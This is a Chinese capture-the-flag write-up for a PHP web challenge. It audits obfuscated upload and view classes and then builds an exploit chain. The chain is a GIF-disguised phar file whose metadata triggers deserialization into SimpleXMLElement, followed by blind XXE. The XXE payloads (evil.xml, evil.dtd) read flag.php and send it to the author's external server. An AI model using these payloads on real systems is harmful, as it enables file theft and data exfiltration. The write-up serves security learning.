前段时间刚结束了2019北邮中学生网安杯,趁现在题目还没关,学习一波:)。

annoying class

网站有两个功能,一个是上传图片,一个是查看图片。图片只能上传pnggifjpgjpeg1
查看图片的页面的url:
http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=upload/f80ab1372d366318f1ba16ac24545c8b5dfcfc29.jpg
可能存在lfi。在查看图片的页面的源代码中,发现图片直接以base64写到网页上。试一下查看do.php。
http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=do.php
将源代码中的编码部分用base64解码,得到do.php。
do.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
require_once "class.php";
// require_once "flag.php";
header("content-type:text/html;charset=utf-8");
ini_set('open_basedir','/var/www/html/:/tmp');

$ll1lIl = $_GET["module"];
$lI1111 = $_GET["args"];

if (empty($ll1lIl)) {
$lI1I11='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"];
header('Location: '.dirname($lI1I11)."/index.html");
} else {
$Il11II = new o0Ooo0oO($ll1lIl, $lI1111);
}
?>

读一下flag.php发现被过滤,尝试读取class.php。
class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php

class oOO0000O {
private $ll1lIl;
public function __construct($ll1lIl) {
$this->ll1lIl = $ll1lIl;
}

private function lI1111() {
if(preg_match("/file|\.\.|flag/i", $this->ll1lIl)) {
return false;
}
if(!file_exists($this->ll1lIl)){
return false;
}
return true;
}

public function __destruct() {
if(!$this->lI1111()) {
die('I\'m not stupid!');
}

echo "<img src=\"data:".mime_content_type($this->ll1lIl).";charset=utf-8;base64,";
echo base64_encode(file_get_contents($this->ll1lIl));
echo "\" \\>";
}
}

class OOOo0Oo0 {
private $ll1lIl;
private $lI1111;
private $lI1I11;

public function __construct() {
$this->ll1lIl = $_FILES["file"]["name"];
$this->lI1I11 = file_get_contents($_FILES["file"]["tmp_name"]);
}

private function IlII1l() {
$IllI1I = array('jpg', 'png', 'gif', 'jpeg');
$Il11ll = explode(".", $this->ll1lIl);
$this->lI1111 = end($Il11ll);
if (!in_array($this->lI1111, $IllI1I)) {
return false;
}
$this->ll1lIl = sha1(random_bytes(40));
return true;
}

public function __destruct() {
if( !$this->IlII1l() ) {
die("I'm not a stupid person!");
}

if (file_exists("upload/".$this->ll1lIl.'.'.$this->lI1111)) {
unlink("upload/".$this->ll1lIl.'.'.$this->lI1111);
}

file_put_contents("upload/".$this->ll1lIl.'.'.$this->lI1111, $this->lI1I11);
die("I have done everything for you, checkout " . $this->ll1lIl);
}
}

class o0Ooo0oO {
private $ll1lIl;
private $lI1111;

public function __construct($ll1lIl, $lI1111) {
$this->ll1lIl = $ll1lIl;
$this->lI1111 = $lI1111;
if (!$this->lI1I11()) {
die('Can not do that for you!');
}
}

private function lI1I11() {
if(in_array($this->ll1lIl, array('oOO0000O', 'OOOo0Oo0'))) {
return true;
}
$this->ll1lIl="";
$this->lI1111=array('');
return false;
}

public function __call($ll1lIl, $lI1111) {
$class = new ReflectionClass($ll1lIl);
$a=$class->newInstanceArgs($lI1111[0]?$lI1111[0]:array());
}

public function __destruct() {
if($this->ll1lIl !== '') {
$this->{$this->ll1lIl}($this->lI1111);
}
}
}
代码审计

do.php中通过get传入的moduleargs实例化了一个o0Ooo0oO类。

1
$Il11II = new o0Ooo0oO($ll1lIl, $lI1111);

class.php中查看下o0Ooo0oO类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class o0Ooo0oO {
private $ll1lIl;
private $lI1111;

public function __construct($ll1lIl, $lI1111) {
$this->ll1lIl = $ll1lIl; // $_GET['module']
$this->lI1111 = $lI1111; // $_GET['args']
if (!$this->lI1I11()) {
die('Can not do that for you!');
}
}

private function lI1I11() {
if(in_array($this->ll1lIl, array('oOO0000O', 'OOOo0Oo0'))) { // module只能传入class.php中的另外两个类名
return true;
}
$this->ll1lIl="";
$this->lI1111=array('');
return false;
}

public function __call($ll1lIl, $lI1111) { // 当调用的方法不存在的时候,解释器会调用__call()方法
$class = new ReflectionClass($ll1lIl); // ReflectionClass类报告了一个类的有关信息
$a=$class->newInstanceArgs($lI1111[0]?$lI1111[0]:array()); // 创建一个类的新实例,给出的参数以array形式传递到类的构造函数中
}

public function __destruct() {
if($this->ll1lIl !== '') {
$this->{$this->ll1lIl}($this->lI1111); // 调用的方法不存在,会调用_call()方法
}
}
}

该类会在调用析构函数__destruct()的时候触发__call()方法,该方法会根据传入的module的值实例化一个新类。
根据网站功能对应的url知道,当module=OOOo0Oo0为上传文件界面,当module=oOO0000O为查看图片界面。
按顺序先看一下OOOo0Oo0类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class OOOo0Oo0 {
private $ll1lIl;
private $lI1111;
private $lI1I11;

public function __construct() {
$this->ll1lIl = $_FILES["file"]["name"];
$this->lI1I11 = file_get_contents($_FILES["file"]["tmp_name"]);
}

private function IlII1l() { // 限制文件格式
$IllI1I = array('jpg', 'png', 'gif', 'jpeg');
$Il11ll = explode(".", $this->ll1lIl);
$this->lI1111 = end($Il11ll);
if (!in_array($this->lI1111, $IllI1I)) {
return false;
}
$this->ll1lIl = sha1(random_bytes(40)); // 文件上传到服务器之后的名字
return true;
}

public function __destruct() {
if( !$this->IlII1l() ) {
die("I'm not a stupid person!");
}

if (file_exists("upload/".$this->ll1lIl.'.'.$this->lI1111)) {
unlink("upload/".$this->ll1lIl.'.'.$this->lI1111);
}

file_put_contents("upload/".$this->ll1lIl.'.'.$this->lI1111, $this->lI1I11);
die("I have done everything for you, checkout " . $this->ll1lIl);
}
}

该类会验证文件类型,上传成功则会返回存储到服务器的文件名。
再看一下oOO0000O类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class oOO0000O {
private $ll1lIl;
public function __construct($ll1lIl) {
$this->ll1lIl = $ll1lIl;
}

private function lI1111() {
if(preg_match("/file|\.\.|flag/i", $this->ll1lIl)) { 不能直接读flag.php
return false;
}
if(!file_exists($this->ll1lIl)){
return false;
}
return true;
}

public function __destruct() {
if(!$this->lI1111()) {
die('I\'m not stupid!');
}

echo "<img src=\"data:".mime_content_type($this->ll1lIl).";charset=utf-8;base64,";
echo base64_encode(file_get_contents($this->ll1lIl)); // 读取文件内容
echo "\" \\>";
}
}

该类限制了get传入的args的值,使其不能直接读flag.php。并用file_exists()判断图片是否存在,如果图片存在且无黑名单字符,则用file_get_contents()读取文件内容。
这里的两个php中的文件系统函数file_exists()file_get_contents()都会造成phar反序列化。php中的一部分函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化。
ref: https://paper.seebug.org/680/

payload

1.通过OOOo0Oo0类上传phar文件,拿到文件地址。
2.通过oOO0000O类查看phar文件,当调用file_exists()时触发反序列化漏洞。
3.因为o0Ooo0oO类对$ll1lIl的判断是在构造函数中的,所以反序列化该类不会进行判断,并会在析构函数中调用__call()方法实现利用。
4.在__call()方法中实例化SimpleXMLElement类,通过blind xxe读取flag.php文件内容。

SimpleXMLElement::__construct()如下:
2
这里要通过给SimpleXMLElement类的构造函数传入3个参数将其实例化
$exp = new SimleXMLElemnt(string $data, LIBXML_NOENT, true);
1.$data,xml的内容。
2.$option,传入LIBXML_NOENT或2,解决了libxml>=2.9之后默认不解析外部实体。
3.$data_is_url,指定$data为xml文件的url。

调用__call()时,取的是$lI1111数组中的第一位。

1
$a=$class->newInstanceArgs($lI1111[0]?$lI1111[0]:array());

看一下__call()方法:
3

__call()方法会将对不存在的方法调用时传入的参数按顺序放入一个新的数组里面。
栗子:

1
2
3
4
5
6
7
8
9
10
class Test {
public function __call($name, $arguments) {
print_r($arguments); // 将传入的参数
echo $name; // 调用不存在的方法的方法名
echo ' ';
}
}
$test = new Test();
$test->funcname("ll", array(1, 2, 3));
$test->funcname(array(1, 2, 3));

4
这里在o0Ooo0oO类中虽然只传入了$this->lI1111,但是它会变成新生成的参数数组的第一项,即__call()中的$lI1111[0]。成功传入SimpleXMLElement::__construct()中。

生成phar文件1.gif。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class o0Ooo0oO {
private $ll1lIl;
private $lI1111;
public function __construct($ll1lIl, $lI1111) {
$this->ll1lIl = $ll1lIl;
$this->lI1111 = $lI1111;
}
}

$exp = new o0Ooo0oO('SimpleXMLElement',array('http://104.194.71.17/evil.xml', 2, true));
echo serialize($exp);

$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif文件头
$phar->setMetadata($exp);
$phar->addFromString("test.jpg","test");
$phar->stopBuffering();
rename("1.phar", "1.gif");
?>

evil.xml

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ll [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY % x SYSTEM "http://104.194.71.17/evil.dtd">
%x;
%all;
]>
<ll>&send;</ll>

evil.dtd

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://104.194.71.17/%file;'>">

上传phar文件1.gif,得到服务端文件名。
5
通过查看图片的oOO0000O类中的file_exists()函数触发phar反序列化,并通过SimpleXMLELement类实现blind xxe,将flag.php的内容发至我的服务器。
http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=phar:///var/www/html/upload/5884397d46150457dced4725ce59299a14192dfb.gif/test.jpg
查看服务端日志,得到flag.php。
6

总结

这题主要考了phar反序列化和blind xxe,正好把之前学的这两个漏洞复习了一遍。
xxe中如果在读取php文件时,因为php、html等文件中有各种括号<>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。

ref: https://www.anquanke.com/post/id/170299